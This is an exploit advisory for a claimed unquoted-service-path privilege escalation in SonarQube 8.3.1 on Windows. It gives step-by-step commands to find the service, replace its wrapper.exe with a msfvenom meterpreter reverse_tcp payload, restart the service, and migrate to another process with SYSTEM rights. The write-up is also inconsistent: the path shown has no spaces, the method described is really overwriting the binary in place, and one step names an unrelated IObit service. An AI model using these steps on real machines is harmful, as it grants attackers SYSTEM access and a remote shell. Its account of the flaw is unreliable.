# Title: Sonar Qube 8.3.1 - 'SonarQube Service' Unquoted Service Path
# Author: Velayutham Selvaraj
# Date: 2020-06-03
# Vendor Homepage: https://www.sonarqube.org
# Software Link: https://www.sonarqube.org/downloads/
# Version : 8.3.1
# Tested on: Windows 10 64bit(EN)

About Unquoted Service Path :
==============================

When a service is created whose executable path contains spaces and isn't
enclosed within quotes,
leads to a vulnerability known as Unquoted Service Path which allows a user
to gain SYSTEM privileges.
(only if the vulnerable service is running with SYSTEM privilege level
which most of the time it is).

Steps to recreate :
=============================

1.  Open CMD and Check for USP vulnerability by typing [ wmic service get
name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v
"c:\windows\\" | findstr /i /v """ ]
2.  The Vulnerable Service would Show up.
3.  Check the Service Permissions by typing [ sc qc SonarQube]
4.  The command would return..

C:\Users\HP-840-G2-ELITEBOOK>sc qc SonarQube
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SonarQube
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   :
C:\Users\HP-840-G2-ELITEBOOK\Downloads\sonarqube-8.3.1.34397\sonarqube-8.3.1.34397\bin\windows-x86-64\wrapper.exe
-s
C:\Users\HP-840-G2-ELITEBOOK\Downloads\sonarqube-8.3.1.34397\sonarqube-8.3.1.34397\conf\wrapper.conf
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : SonarQube
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

5.  This concludes that the service is running as SYSTEM. "Highest
privilege in a machine"
6.  Now create a Payload with msfvenom or other tools and name it to
wrapper.exe
7.  Make sure you have write Permissions to where you downloaded. i kept it
in downloads folders but confirmed it in program files as well.
8.  Provided that you have right permissions, Drop the wrapper.exe
executable you created into the
"C:\Users\HP-840-G2-ELITEBOOK\Downloads\sonarqube-8.3.1.34397\sonarqube-8.3.1.34397\bin\windows-x86-64\"
Directory.
9.  Now restart the IObit Uninstaller service by giving coommand [ sc stop
SonarQube] followed by [ sc start SonarQube]
10. If your payload is created with msfvenom, quickly migrate to a
different process. [Any process since you have the SYSTEM Privilege].

During my testing :

Payload : msfvenom -p windows/meterpreter/reverse_tcp -f exe -o wrapper.exe
Migrate : meterpreter> run post/windows/manage/migrate [To migrate into a
different Process ]